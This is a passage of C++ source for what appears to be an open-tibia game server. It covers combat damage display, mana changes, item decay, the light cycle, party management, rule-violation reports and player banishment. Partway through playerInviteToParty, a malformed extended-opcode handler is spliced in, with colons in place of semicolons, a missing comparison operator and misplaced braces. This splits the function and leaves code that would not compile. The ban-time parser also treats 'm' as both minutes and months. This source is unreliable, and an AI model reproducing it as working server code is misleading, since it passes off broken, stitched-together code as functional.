                    case COMBAT_FIGHTDAMAGE:
                    {
                        textColor = TEXTCOLOR_FIGHTING;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }

                    case COMBAT_EARTHDAMAGE:
                    {
                        textColor = TEXTCOLOR_LIGHTGREEN;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }

                    case COMBAT_DROWNDAMAGE:
                    {
                        textColor = TEXTCOLOR_WATER;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }

                    case COMBAT_FIREDAMAGE:
                    {
                        textColor = TEXTCOLOR_RED;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }

                    case COMBAT_ICEDAMAGE:
                    {
                        textColor = TEXTCOLOR_ICE;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }

                    case COMBAT_HOLYDAMAGE:
                    {
                        textColor = TEXTCOLOR_NORMAL;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }

                    case COMBAT_DEATHDAMAGE:
                    {
                        textColor = TEXTCOLOR_GHOST;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }

                    case COMBAT_LIFEDRAIN:
                    {
                        textColor = TEXTCOLOR_RED;
                        magicEffect = MAGIC_EFFECT_WRAPS_RED;
                        break;
                    }
                    
                    
                    case COMBAT_TESTDAMAGE:
                    {
                        textColor = TEXTCOLOR_GROUND;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }

                    default:
                        break;
                }

                if(hitEffect != MAGIC_EFFECT_UNKNOWN)
                    magicEffect = hitEffect;

                if(hitColor != TEXTCOLOR_UNKNOWN)
                    textColor = hitColor;

                if(textColor < TEXTCOLOR_NONE && magicEffect < MAGIC_EFFECT_NONE)
                {
                    char buffer[20];
                    sprintf(buffer, "%d", damage);

                    addMagicEffect(list, targetPos, magicEffect);
                    addAnimatedText(list, targetPos, textColor, buffer);
                }
            }
        }
    }

    return true;
}

bool Game::combatChangeMana(Creature* attacker, Creature* target, int32_t manaChange)
{
    const Position& targetPos = target->getPosition();
    if(manaChange > 0)
    {
        bool deny = false;
        CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE);
        for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it)
        {
            if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_MANAGAIN, COMBAT_HEALING, manaChange))
                deny = true;
        }

        if(deny)
            return false;

        target->changeMana(manaChange);
        if(g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE) && !target->isGhost() &&
            (g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE_MONSTER) || !target->getMonster()))
        {
            char buffer[20];
            sprintf(buffer, "+%d", manaChange);

            const SpectatorVec& list = getSpectators(targetPos);
            addAnimatedText(list, targetPos, TEXTCOLOR_DARKPURPLE, buffer);
        }
    }
    else
    {
        const SpectatorVec& list = getSpectators(targetPos);
        if(!target->isAttackable() || Combat::canDoCombat(attacker, target) != RET_NOERROR)
        {
            addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF);
            return false;
        }

        int32_t manaLoss = std::min(target->getMana(), -manaChange);
        BlockType_t blockType = target->blockHit(attacker, COMBAT_MANADRAIN, manaLoss);
        if(blockType != BLOCK_NONE)
        {
            addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF);
            return false;
        }

        if(manaLoss > 0)
        {
            bool deny = false;
            CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE);
            for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it)
            {
                if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_MANALOSS, COMBAT_UNDEFINEDDAMAGE, manaChange))
                    deny = true;
            }

            if(deny)
                return false;

            target->drainMana(attacker, COMBAT_MANADRAIN, manaLoss);
            char buffer[20];
            sprintf(buffer, "%d", manaLoss);

        }
    }

    return true;
}

void Game::addCreatureHealth(const Creature* target)
{
    const SpectatorVec& list = getSpectators(target->getPosition());
    addCreatureHealth(list, target);
}

void Game::addCreatureHealth(const SpectatorVec& list, const Creature* target)
{
    Player* player = NULL;
    for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
    {
        if((player = (*it)->getPlayer()))
            player->sendCreatureHealth(target);
    }
}

void Game::addAnimatedText(const Position& pos, uint8_t textColor,
    const std::string& text)
{
    const SpectatorVec& list = getSpectators(pos);
    addAnimatedText(list, pos, textColor, text);
}

void Game::addAnimatedText(const SpectatorVec& list, const Position& pos, uint8_t textColor,
    const std::string& text)
{
    Player* player = NULL;
    for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
    {
        if((player = (*it)->getPlayer()))
            player->sendAnimatedText(pos, textColor, text);
    }
}

void Game::addMagicEffect(const Position& pos, uint8_t effect, bool ghostMode /* = false */)
{
    if(ghostMode)
        return;

    const SpectatorVec& list = getSpectators(pos);
    addMagicEffect(list, pos, effect);
}

void Game::addMagicEffect(const SpectatorVec& list, const Position& pos, uint8_t effect, bool ghostMode/* = false*/)
{
    if(ghostMode)
        return;

    Player* player = NULL;
    for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
    {
        if((player = (*it)->getPlayer()))
            player->sendMagicEffect(pos, effect);
    }
}

void Game::addDistanceEffect(const Position& fromPos, const Position& toPos, uint8_t effect)
{
    SpectatorVec list;
    getSpectators(list, fromPos, false);
    getSpectators(list, toPos, true);
    addDistanceEffect(list, fromPos, toPos, effect);
}

void Game::addDistanceEffect(const SpectatorVec& list, const Position& fromPos, const Position& toPos, uint8_t effect)
{
    Player* player = NULL;
    for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
    {
        if((player = (*it)->getPlayer()))
            player->sendDistanceShoot(fromPos, toPos, effect);
    }
}

void Game::startDecay(Item* item)
{
    if(!item || !item->canDecay() || item->getDecaying() == DECAYING_TRUE)
        return;

    if(item->getDuration() > 0)
    {
        item->addRef();
        item->setDecaying(DECAYING_TRUE);
        toDecayItems.push_back(item);
    }
    else
        internalDecayItem(item);
}

void Game::internalDecayItem(Item* item)
{
    const ItemType& it = Item::items.getItemType(item->getID());
    if(it.decayTo)
    {
        Item* newItem = transformItem(item, it.decayTo);
        startDecay(newItem);
    }
    else
    {
        ReturnValue ret = internalRemoveItem(NULL, item);
        if(ret != RET_NOERROR)
            std::cout << "> DEBUG: internalDecayItem failed, error code: " << (int32_t)ret << ", item id: " << item->getID() << std::endl;
    }
}

void Game::checkDecay()
{
    Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_DECAYINTERVAL,
        boost::bind(&Game::checkDecay, this)));

    size_t bucket = (lastBucket + 1) % EVENT_DECAYBUCKETS;
    for(DecayList::iterator it = decayItems[bucket].begin(); it != decayItems[bucket].end();)
    {
        Item* item = *it;
        int32_t decreaseTime = EVENT_DECAYINTERVAL * EVENT_DECAYBUCKETS;
        if(item->getDuration() - decreaseTime < 0)
            decreaseTime = item->getDuration();

        item->decreaseDuration(decreaseTime);
        if(!item->canDecay())
        {
            item->setDecaying(DECAYING_FALSE);
            freeThing(item);
            it = decayItems[bucket].erase(it);
            continue;
        }

        int32_t dur = item->getDuration();
        if(dur <= 0)
        {
            it = decayItems[bucket].erase(it);
            internalDecayItem(item);
            freeThing(item);
        }
        else if(dur < EVENT_DECAYINTERVAL * EVENT_DECAYBUCKETS)
        {
            it = decayItems[bucket].erase(it);
            size_t newBucket = (bucket + ((dur + EVENT_DECAYINTERVAL / 2) / 1000)) % EVENT_DECAYBUCKETS;
            if(newBucket == bucket)
            {
                internalDecayItem(item);
                freeThing(item);
            }
            else
                decayItems[newBucket].push_back(item);
        }
        else
            ++it;
    }

    lastBucket = bucket;
    cleanup();
}

void Game::checkLight()
{
    Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_LIGHTINTERVAL,
        boost::bind(&Game::checkLight, this)));

    lightHour = lightHour + lightHourDelta;
    if(lightHour > 1440)
        lightHour = lightHour - 1440;

    if(std::abs(lightHour - SUNRISE) < 2 * lightHourDelta)
        lightState = LIGHT_STATE_SUNRISE;
    else if(std::abs(lightHour - SUNSET) < 2 * lightHourDelta)
        lightState = LIGHT_STATE_SUNSET;

    int32_t newLightLevel = lightLevel;
    bool lightChange = false;
    switch(lightState)
    {
        case LIGHT_STATE_SUNRISE:
        {
            newLightLevel += (LIGHT_LEVEL_DAY - LIGHT_LEVEL_NIGHT) / 30;
            lightChange = true;
            break;
        }
        case LIGHT_STATE_SUNSET:
        {
            newLightLevel -= (LIGHT_LEVEL_DAY - LIGHT_LEVEL_NIGHT) / 30;
            lightChange = true;
            break;
        }
        default:
            break;
    }

    if(newLightLevel <= LIGHT_LEVEL_NIGHT)
    {
        lightLevel = LIGHT_LEVEL_NIGHT;
        lightState = LIGHT_STATE_NIGHT;
    }
    else if(newLightLevel >= LIGHT_LEVEL_DAY)
    {
        lightLevel = LIGHT_LEVEL_DAY;
        lightState = LIGHT_STATE_DAY;
    }
    else
        lightLevel = newLightLevel;

    if(lightChange)
    {
        LightInfo lightInfo;
        getWorldLightInfo(lightInfo);
        for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
            it->second->sendWorldLight(lightInfo);
    }
}

void Game::getWorldLightInfo(LightInfo& lightInfo)
{
    lightInfo.level = lightLevel;
    lightInfo.color = 0xD7;
}

bool Game::cancelRuleViolation(Player* player)
{
    RuleViolationsMap::iterator it = ruleViolations.find(player->getID());
    if(it == ruleViolations.end())
        return false;

    Player* gamemaster = it->second->gamemaster;
    if(!it->second->isOpen && gamemaster) //Send to the responser
        gamemaster->sendRuleViolationCancel(player->getName());
    else if(ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR))
    {
        UsersMap tmpMap = channel->getUsers();
        for(UsersMap::iterator tit = tmpMap.begin(); tit != tmpMap.end(); ++tit)
            tit->second->sendRemoveReport(player->getName());
    }

    //Now erase it
    ruleViolations.erase(it);
    return true;
}

bool Game::closeRuleViolation(Player* player)
{
    RuleViolationsMap::iterator it = ruleViolations.find(player->getID());
    if(it == ruleViolations.end())
        return false;

    ruleViolations.erase(it);
    player->sendLockRuleViolation();
    if(ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR))
    {
        UsersMap tmpMap = channel->getUsers();
        for(UsersMap::iterator tit = tmpMap.begin(); tit != tmpMap.end(); ++tit)
            tit->second->sendRemoveReport(player->getName());
    }

    return true;
}

void Game::updateCreatureSkull(Creature* creature)
{
    const SpectatorVec& list = getSpectators(creature->getPosition());

    //send to client
    Player* tmpPlayer = NULL;
    for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
    {
         if((tmpPlayer = (*it)->getPlayer()))
            tmpPlayer->sendCreatureSkull(creature);
    }
}

bool Game::playerInviteToParty(uint32_t playerId, uint32_t invitedId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Player* invitedPlayer = getPlayerByID(invitedId);
    if(!invitedPlayer || invitedPlayer->isRemoved() || invitedPlayer->isInviting(player))
        return false;

    if(invitedPlayer->getParty())
    {
        char buffer[90];
        sprintf(buffer, "%s is already in a party.", invitedPlayer->getName().c_str());
        player->sendTextMessage(MSG_INFO_DESCR, buffer);
        return false;
    }
}
     void game::parsePlayereExtendedOpcode(uint32_t playerId, uint8_t opcode, const std::string& buffer)
    {
        Player* player = getPlayerByID(playerId);
        if (!player || player->isRemoved())

    CreatureEventList extendedOpcodeEvents = player ->getCreatureEvents(CREATURE_EVENT_EXTENDED_OPCODE)
    for (CreatureEventList::iterator it = extendedOpcodeEvents.begin(): it !extendedOpcodeEvents.end(): ++it)
    (*it)->executeExtendedOpcode(player, opcode, buffer):
    }

{

    Party* party = player->getParty();
    if(!party)
        party = new Party(player);
    else if(party->getLeader() != player)
        return false;

    return party->invitePlayer(invitedPlayer);
}

bool Game::playerJoinParty(uint32_t playerId, uint32_t leaderId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Player* leader = getPlayerByID(leaderId);
    if(!leader || leader->isRemoved() || !leader->isInviting(player))
        return false;

    if(!player->getParty())
        return leader->getParty()->join(player);

    player->sendTextMessage(MSG_INFO_DESCR, "You are already in a party.");
    return false;
}

bool Game::playerRevokePartyInvitation(uint32_t playerId, uint32_t invitedId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved() || !player->getParty() || player->getParty()->getLeader() != player)
        return false;

    Player* invitedPlayer = getPlayerByID(invitedId);
    if(!invitedPlayer || invitedPlayer->isRemoved() || !player->isInviting(invitedPlayer))
        return false;

    player->getParty()->revokeInvitation(invitedPlayer);
    return true;
}

bool Game::playerPassPartyLeadership(uint32_t playerId, uint32_t newLeaderId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved() || !player->getParty() || player->getParty()->getLeader() != player)
        return false;

    Player* newLeader = getPlayerByID(newLeaderId);
    if(!newLeader || newLeader->isRemoved() || !player->isPartner(newLeader))
        return false;

    return player->getParty()->passLeadership(newLeader);
}

bool Game::playerLeaveParty(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(!player->getParty() || player->hasCondition(CONDITION_INFIGHT))
        return false;

    return player->getParty()->leave(player);
}

bool Game::playerSharePartyExperience(uint32_t playerId, bool activate, uint8_t unknown)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(!player->getParty() || (!player->hasFlag(PlayerFlag_NotGainInFight)
        && player->hasCondition(CONDITION_INFIGHT)))
        return false;

    return player->getParty()->setSharedExperience(player, activate);
}

bool Game::playerReportBug(uint32_t playerId, std::string comment)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(!player->hasFlag(PlayerFlag_CanReportBugs))
        return false;

    CreatureEventList reportBugEvents = player->getCreatureEvents(CREATURE_EVENT_REPORTBUG);
    for(CreatureEventList::iterator it = reportBugEvents.begin(); it != reportBugEvents.end(); ++it)
        (*it)->executeReportBug(player, comment);

    return true;
}

bool Game::playerViolationWindow(uint32_t playerId, std::string name, uint8_t reason, ViolationAction_t action,
    std::string comment, std::string statement, uint32_t statementId, bool ipBanishment)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Group* group = player->getGroup();
    if(!group)
        return false;

    time_t length[3] = {0, 0, 0};
    int32_t pos = 0, start = comment.find("{");
    while((start = comment.find("{")) > 0 && pos < 4)
    {
        std::string::size_type end = comment.find("}", start);
        if(end == std::string::npos)
            break;

        std::string data = comment.substr(start + 1, end - 1);
        comment = comment.substr(end + 1);

        ++pos;
        if(data.empty())
            continue;

        if(data == "delete")
        {
            action = ACTION_DELETION;
            continue;
        }

        time_t banTime = time(NULL);
        StringVec vec = explodeString(";", data);
        for(StringVec::iterator it = vec.begin(); it != vec.end(); ++it)
        {
            StringVec tmp = explodeString(",", *it);
            uint32_t count = 1;
            if(tmp.size() > 1)
            {
                count = atoi(tmp[1].c_str());
                if(!count)
                    count = 1;
            }

            if(tmp[0][0] == 's')
                banTime += count;
            if(tmp[0][0] == 'm')
                banTime += count * 60;
            if(tmp[0][0] == 'h')
                banTime += count * 3600;
            if(tmp[0][0] == 'd')
                banTime += count * 86400;
            if(tmp[0][0] == 'w')
                banTime += count * 604800;
            if(tmp[0][0] == 'm')
                banTime += count * 2592000;
            if(tmp[0][0] == 'y')
                banTime += count * 31536000;
        }

        if(action == ACTION_DELETION)
            length[pos - 2] = banTime;
        else
            length[pos - 1] = banTime;
    }

    int16_t nameFlags = group->getNameViolationFlags(), statementFlags = group->getStatementViolationFlags();
    if((ipBanishment && ((nameFlags & IPBAN_FLAG) != IPBAN_FLAG || (statementFlags & IPBAN_FLAG) != IPBAN_FLAG)) ||
        !(nameFlags & (1 << action) || statementFlags & (1 << action)) || reason > group->getViolationReasons())
    {
        player->sendCancel("You do not have authorization for this action.");
        return false;
    }

    uint32_t commentSize = g_config.getNumber(ConfigManager::MAX_VIOLATIONCOMMENT_SIZE);
    if(comment.size() > commentSize)
    {
        char buffer[90];
        sprintf(buffer, "The comment may not exceed limit of %d characters.", commentSize);

        player->sendCancel(buffer);
        return false;
    }

    toLowerCaseString(name);
    Player* target = getPlayerByNameEx(name);
    if(!target || name == "account manager")
    {
        player->sendCancel("A player with this name does not exist.");
        return false;
    }

    if(target->hasFlag(PlayerFlag_CannotBeBanned))
    {
        player->sendCancel("You do not have authorization for this action.");
        return false;
    }

    Account account = IOLoginData::getInstance()->loadAccount(target->getAccount(), true);
    enum KickAction {
        NONE = 1,
        KICK = 2,
        FULL_KICK = 3,
    } kickAction = FULL_KICK;

    pos = 1;
    switch(action)
    {
        case ACTION_STATEMENT:
        {
            StatementMap::iterator it = g_chat.statementMap.find(statementId);
            if(it == g_chat.statementMap.end())
            {
                player->sendCancel("Statement has been already reported.");
                return false;
            }

            IOBan::getInstance()->addStatement(target->getGUID(), reason, comment,
                player->getGUID(), -1, statement);
            g_chat.statementMap.erase(it);

            kickAction = NONE;
            break;
        }

        case ACTION_NAMEREPORT:
        {
            int64_t banTime = -1;
            PlayerBan_t tmp = (PlayerBan_t)g_config.getNumber(ConfigManager::NAME_REPORT_TYPE);
            if(tmp == PLAYERBAN_BANISHMENT)
            {
                if(!length[0])
                    banTime = time(NULL) + g_config.getNumber(ConfigManager::BAN_LENGTH);
                else
                    banTime = length[0];
            }

            if(!IOBan::getInstance()->addPlayerBanishment(target->getGUID(), banTime, reason, action,
                comment, player->getGUID(), tmp))
            {
                player->sendCancel("Player has been already reported.");
                return false;
            }
            else if(tmp == PLAYERBAN_BANISHMENT)
                account.warnings++;

            kickAction = (KickAction)tmp;
            break;
        }

        case ACTION_NOTATION:
        {
            if(!IOBan::getInstance()->addNotation(account.number, reason,
                comment, player->getGUID(), target->getGUID()))
            {
                player->sendCancel("Unable to perform action.");
                return false;
            }

            if(IOBan::getInstance()->getNotationsCount(account.number) < (uint32_t)
                g_config.getNumber(ConfigManager::NOTATIONS_TO_BAN))
            {
                kickAction = NONE;
                break;
            }

            action = ACTION_BANISHMENT;
        }

        case ACTION_BANISHMENT:
        case ACTION_BANREPORT:
        {
            bool deny = action != ACTION_BANREPORT;
            int64_t banTime = -1;
            pos = 2;

            account.warnings++;
            if(account.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_DELETION))
                action = ACTION_DELETION;
            else if(length[0])
                banTime = length[0];
            else if(account.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_FINALBAN))
                banTime = time(NULL) + g_config.getNumber(ConfigManager::FINALBAN_LENGTH);
            else
                banTime = time(NULL) + g_config.getNumber(ConfigManager::BAN_LENGTH);

            if(!IOBan::getInstance()->addAccountBanishment(account.number, banTime, reason, action,
                comment, player->getGUID(), target->getGUID()))
            {
                account.warnings--;
                player->sendCancel("Account is already banned.");
                return false;
            }

            if(deny)
                break;

            banTime = -1;
            PlayerBan_t tmp = (PlayerBan_t)g_config.getNumber(ConfigManager::NAME_REPORT_TYPE);
            if(tmp == PLAYERBAN_BANISHMENT)
            {
                if(!length[1])
                    banTime = time(NULL) + g_config.getNumber(ConfigManager::FINALBAN_LENGTH);
                else
                    banTime = length[1];
            }

            IOBan::getInstance()->addPlayerBanishment(target->getGUID(), banTime, reason, action, comment,
                player->getGUID(), tmp);
            break;
        }

        case ACTION_BANFINAL:
        case ACTION_BANREPORTFINAL:
        {
            bool allow = action == ACTION_BANREPORTFINAL;
            int64_t banTime = -1;

            account.warnings++;
            if(account.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_DELETION))
                action = ACTION_DELETION;
            else if(length[0])
                banTime = length[0];
            else
                banTime = time(NULL) + g_config.getNumber(ConfigManager::FINALBAN_LENGTH);

            if(!IOBan::getInstance()->addAccountBanishment(account.number, banTime, reason, action,
                comment, player->getGUID(), target->getGUID()))
            {
                account.warnings--;
                player->sendCancel("Account is already banned.");
                return false;
            }

            if(action != ACTION_DELETION)
                account.warnings += (g_config.getNumber(ConfigManager::WARNINGS_TO_FINALBAN) - 1);

            if(allow)
                IOBan::getInstance()->addPlayerBanishment(target->getGUID(), -1, reason, action, comment,
                    player->getGUID(), (PlayerBan_t)g_config.getNumber(
                    ConfigManager::NAME_REPORT_TYPE));

            break;
        }

        case ACTION_DELETION:
        {
            //completely internal
            account.warnings++;
            if(!IOBan::getInstance()->addAccountBanishment(account.number, -1, reason, ACTION_DELETION,
                comment, player->getGUID(), target->getGUID()))
            {
                account.warnings--;
                player->sendCancel("Account is currently banned or already deleted.");
                return false;
            }

            break;
        }

        default:
            // these just shouldn't occur in rvw
            return false;
    }

    if(ipBanishment && target->getIP())
    {
        if(!length[pos])
            length[pos] = time(NULL) + g_config.getNumber(ConfigManager::IPBANISHMENT_LENGTH);

        IOBan::getInstance()->addIpBanishment(target->getIP(), length[pos], reason, comment, player->getGUID(), 0xFFFFFFFF);
    }

    if(kickAction == FULL_KICK)
        IOBan::getInstance()->removeNotations(account.number);

    std::stringstream ss;
    if(g_config.getBool(ConfigManager::BROADCAST_BANISHMENTS))
        ss << player->getName() << " has";
    else
        ss << "You have";

    ss << " taken the action \"" << getAction(action, ipBanishment) << "\"";
    switch(action)
    {
        case ACTION_NOTATION:
        {
            ss << " (" << (g_config.getNumber(ConfigManager::NOTATIONS_TO_BAN) - IOBan::getInstance()->getNotationsCount(
                account.number)) << " left to banishment)";
            break;
        }
        case ACTION_STATEMENT:
        {
            ss << " for the statement: \"" << statement << "\"";
            break;
        }
        default:
            break;
    }

    ss << " against: " << name << " (Warnings: " << account.warnings << "), with reason: \"" << getReason(
        reason) << "\", and comment: \"" << comment << "\".";
    if(g_config.getBool(ConfigManager::BROADCAST_BANISHMENTS))
        broadcastMessage(ss.str(), MSG_STATUS_WARNING);
    else
        player->sendTextMessage(MSG_STATUS_CONSOLE_RED, ss.str());

    if(target->isVirtual())
    {
        delete target;
        target = NULL;
    }
    else if(kickAction > NONE)
    {
        char buffer[30];
        sprintf(buffer, "You have been %s.", (kickAction > KICK ? "banished" : "namelocked"));
        target->sendTextMessage(MSG_INFO_DESCR, buffer);

        addMagicEffect(target->getPosition(), MAGIC_EFFECT_WRAPS_GREEN);
        Scheduler::getInstance().addEvent(createSchedulerTask(1000, boost::bind(
            &Game::kickPlayer, this, target->getID(), false)));
    }

    IOLoginData::getInstance()->saveAccount(account);
    return true;
}

void Game::kickPlayer(uint32_t playerId, bool displayEffect)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return;

    player->kickPlayer(displayEffect, true);
}

bool Game::broadcastMessage(const std::string& text, MessageClasses type)
{
    if(type < MSG_CLASS_FIRST || type > MSG_CLASS_LAST)
        return false;

    std::cout << "> Broadcasted message: \"" << text << "\"." << std::endl;
    for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
        it->second->sendTextMessage(type, text);

    return true;
}

Position Game::getClosestFreeTile(Creature* creature, Position pos, bool extended/* = false*/, bool ignoreHouse/* = true*/)
{
    PairVector relList;
    relList.push_back(PositionPair(0, 0));
    relList.push_back(PositionPair(-1, -1));
    relList.push_back(PositionPair(-1, 0));
    relList.push_back(PositionPair(-1, 1));
    relList.push_back(PositionPair(0, -1));
    relList.push_back(PositionPair(0, 1));
    relList.push_back(PositionPair(1, -1));
    relList.push_back(PositionPair(1, 0));
    relList.push_back(PositionPair(1, 1));

    if(extended)
    {
        relList.push_back(PositionPair(-2, 0));
        relList.push_back(PositionPair(0, -2));
        relList.push_back(PositionPair(0, 2));
        relList.push_back(PositionPair(2, 0));
    }

    std::random_shuffle(relList.begin() + 1, relList.end());
    if(Player* player = creature->getPlayer())
    {
        for(PairVector::iterator it = relList.begin(); it != relList.end(); ++it)
        {
            Tile* tile = map->getTile(Position((pos.x + it->first), (pos.y + it->second), pos.z));
            if(!tile || !tile->ground)
                continue;

            ReturnValue ret = tile->__queryAdd(0, player, 1, FLAG_IGNOREBLOCKITEM);
            if(ret == RET_NOTENOUGHROOM || (ret == RET_NOTPOSSIBLE && !player->hasCustomFlag(PlayerCustomFlag_CanMoveAnywhere))
                || (ret == RET_PLAYERISNOTINVITED && !ignoreHouse && !player->hasFlag(PlayerFlag_CanEditHouses)))
                continue;

            return tile->getPosition();
        }
    }
    else
    {
        for(PairVector::iterator it = relList.begin(); it != relList.end(); ++it)
        {
            Tile* tile = NULL;
            if((tile = map->getTile(Position((pos.x + it->first), (pos.y + it->second), pos.z)))
                && tile->__queryAdd(0, creature, 1, FLAG_IGNOREBLOCKITEM) == RET_NOERROR)
                return tile->getPosition();
        }
    }

    return Position(0, 0, 0);
}

std::string Game::getSearchString(const Position fromPos, const Position toPos, bool fromIsCreature/* = false*/, bool toIsCreature/* = false*/)
{
    /*
     * When the position is on same level and 0 to 4 squares away, they are "[toIsCreature: standing] next to you"
     * When the position is on same level and 5 to 100 squares away they are "to the north/west/south/east."
     * When the position is on any level and 101 to 274 squares away they are "far to the north/west/south/east."
     * When the position is on any level and 275+ squares away they are "very far to the north/west/south/east."
     * When the position is not directly north/west/south/east of you they are "((very) far) to the north-west/south-west/south-east/north-east."
     * When the position is on a lower or higher level and 5 to 100 squares away they are "on a lower (or) higher level to the north/west/south/east."
     * When the position is on a lower or higher level and 0 to 4 squares away they are "below (or) above you."
     */

    enum distance_t
    {
        DISTANCE_BESIDE,
        DISTANCE_CLOSE,
        DISTANCE_FAR,
        DISTANCE_VERYFAR
    };

    enum direction_t
    {
        DIR_N, DIR_S, DIR_E, DIR_W,
        DIR_NE, DIR_NW, DIR_SE, DIR_SW
    };

    enum level_t
    {
        LEVEL_HIGHER,
        LEVEL_LOWER,
        LEVEL_SAME
    };

    distance_t distance;
    direction_t direction;
    level_t level;

    int32_t dx = fromPos.x - toPos.x, dy = fromPos.y - toPos.y, dz = fromPos.z - toPos.z;
    if(dz > 0)
        level = LEVEL_HIGHER;
    else if(dz < 0)
        level = LEVEL_LOWER;
    else
        level = LEVEL_SAME;

    if(std::abs(dx) < 5 && std::abs(dy) < 5)
        distance = DISTANCE_BESIDE;
    else
    {
        int32_t tmp = dx * dx + dy * dy;
        if(tmp < 10000)
            distance = DISTANCE_CLOSE;
        else if(tmp < 75625)
            distance = DISTANCE_FAR;
        else
            distance = DISTANCE_VERYFAR;
    }

    float tan;
    if(dx != 0)
        tan = (float)dy / (float)dx;
    else
        tan = 10.;

    if(std::abs(tan) < 0.4142)
    {
        if(dx > 0)
            direction = DIR_W;
        else
            direction = DIR_E;
    }
    else if(std::abs(tan) < 2.4142)
    {
        if(tan > 0)
        {
            if(dy > 0)
                direction = DIR_NW;
            else
                direction = DIR_SE;
        }
        else
        {
            if(dx > 0)
                direction = DIR_SW;
            else
                direction = DIR_NE;
        }
    }
    else
    {
        if(dy > 0)
            direction = DIR_N;
        else
            direction = DIR_S;
    }

    std::stringstream ss;
    switch(distance)
    {
        case DISTANCE_BESIDE:
        {
            switch(level)
            {
                case LEVEL_SAME:
                {
                    ss << "is ";
                    if(toIsCreature)
                        ss << "standing ";

                    ss << "next to you";
                    break;
                }

                case LEVEL_HIGHER:
                {
                    ss << "is above ";
                    if(fromIsCreature)
                        ss << "you";

                    break;
                }

                case LEVEL_LOWER:
                {
                    ss << "is below ";
                    if(fromIsCreature)
                        ss << "you";

                    break;
                }

                default:
                    break;
            }

            break;
        }

        case DISTANCE_CLOSE:
        {
            switch(level)
            {
                case LEVEL_SAME:
                    ss << "is to the";
                    break;
                case LEVEL_HIGHER:
                    ss << "is on a higher level to the";
                    break;
                case LEVEL_LOWER:
                    ss << "is on a lower level to the";
                    break;
                default:
                    break;
            }

            break;
        }

        case DISTANCE_FAR:
            ss << "is far to the";
            break;

        case DISTANCE_VERYFAR:
            ss << "is very far to the";
            break;

        default:
            break;
    }

    if(distance != DISTANCE_BESIDE)
    {
        ss << " ";
        switch(direction)
        {
            case DIR_N:
                ss << "north";
                break;

            case DIR_S:
                ss << "south";
                break;

            case DIR_E:
                ss << "east";
                break;

            case DIR_W:
                ss << "west";
                break;

            case DIR_NE:
                ss << "north-east";
                break;

            case DIR_NW:
                ss << "north-west";
                break;

            case DIR_SE:
                ss << "south-east";
                break;

            case DIR_SW:
                ss << "south-west";
                break;

            default:
                break;
        }
    }

    return ss.str();
}

double Game::getExperienceStage(uint32_t level, double divider/* = 1.*/)
{
    if(!g_config.getBool(ConfigManager::EXPERIENCE_STAGES))
        return g_config.getDouble(ConfigManager::RATE_EXPERIENCE) * divider;

    if(lastStageLevel && level >= lastStageLevel)
        return stages[lastStageLevel] * divider;

    return stages[level] * divider;
}

bool Game::fetchBlacklist()
{
    xmlDocPtr doc = xmlParseFile("http://forgottenserver.otland.net/blacklist.xml");
    if(!doc)
        return false;

    xmlNodePtr p, root = xmlDocGetRootElement(doc);
    if(!xmlStrcmp(root->name, (const xmlChar*)"blacklist"))
    {
        p = root->children;
        while(p)
        {
            if(!xmlStrcmp(p->name, (const xmlChar*)"entry"))
            {
                std::string ip;
                if(readXMLString(p, "ip", ip))
                    blacklist.push_back(ip);
            }

            p = p->next;
        }
    }

    xmlFreeDoc(doc);
    return true;
}

bool Game::loadExperienceStages()
{
    if(!g_config.getBool(ConfigManager::EXPERIENCE_STAGES))
        return true;

    xmlDocPtr doc = xmlParseFile(getFilePath(FILE_TYPE_XML, "stages.xml").c_str());
    if(!doc)
    {
        std::cout << "[Warning - Game::loadExperienceStages] Cannot load stages file." << std::endl;
        std::cout << getLastXMLError() << std::endl;
        return false;
    }

    xmlNodePtr q, p, root = xmlDocGetRootElement(doc);
